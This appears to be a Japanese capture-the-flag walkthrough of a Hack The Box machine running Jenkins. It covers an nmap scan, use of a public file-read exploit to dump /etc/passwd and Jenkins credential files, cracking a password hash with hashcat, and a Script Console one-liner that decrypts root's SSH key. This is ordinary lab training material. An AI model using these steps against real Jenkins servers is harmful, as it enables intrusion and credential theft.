目次
偵察/スキャン
nmapでスキャンします。
-p-でスキャンし、確認できたポートに詳細なスキャンを行います。
┌──(kali㉿kali)-[~/htb/builder] └─$ sudo nmap -sC -sV -A -O -p22,8080 10.10.11.10 [sudo] kali のパスワード: Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-27 11:41 JST Nmap scan report for 10.10.11.10 Host is up (0.21s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA) |_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519) 8080/tcp open http Jetty 10.0.18 | http-open-proxy: Potentially OPEN proxy. |_Methods supported:CONNECTION |_http-title: Dashboard [Jenkins] | http-robots.txt: 1 disallowed entry |_/ |_http-server-header: Jetty(10.0.18) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Linux 5.0 (97%), Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 8080/tcp) HOP RTT ADDRESS 1 206.33 ms 10.10.14.1 2 206.17 ms 10.10.11.10 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 26.91 seconds
TCP/8080の調査
http://10.10.11.10:8080にアクセスすると以下のようなページが表示されます。
画面の右下の方にバージョン情報が記載されており、そのバージョンで検索するとexploitが見つかります。
上記のexploitでローカルファイルの読み取りができるようです。
/etc/passwdを読み取るとuid=1000でjenkinsが存在することがわかります。
┌──(kali㉿kali)-[~/htb/builder]
└─$ python3 51993.py -u http://10.10.11.10:8080
Press Ctrl+C to exit
File to download:
> /etc/passwd
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
root:x:0:0:root:/root:/bin/bash
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
jenkins:x:1000:1000::/var/jenkins_home:/bin/bash
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
File to download:
アクセス取得(ユーザフラグ)
上記の情報からユーザフラグは取得できます。
権限昇格
Jenkinsの管理者パスワードは以下のディレクトリにあるということですがファイルは見つかりませんでした。
/var/jenkins_home/secrets/initialAdminPassword
Jenkinsではアカウント情報を以下のファイルに保存します。
内容を見ると「jennifer」が見つかります。
「/var/jenkins_home/users/users.xml」
また、Jenkinsではユーザの認証情報が個別に保存されます。
/var/jenkins_home/users/<user directory>/config.xml
ファイルの内容を読みとるとパスワードのハッシュ値が見つかります。
hashcatで解析するとパスワードが取得できます。
上記の認証情報でJenkinsにログインできます。
rootのSSH秘密鍵は見れませんでした。
上記のサイトを踏まえSSH秘密鍵を取得します。
以下のファイルより秘密鍵の情報を読み取れます。
/var/jenkins_home/credentials.xml
Script Consoleで「println(hudson.util.Secret.decrypt("{privatekeyの内容}")」と入力し実行すると秘密鍵が取得できます。
上記をファイルとして保存しパーミッションを修正してSSH接続するとrootが取得できました。
chmod 600 id_rsa
その他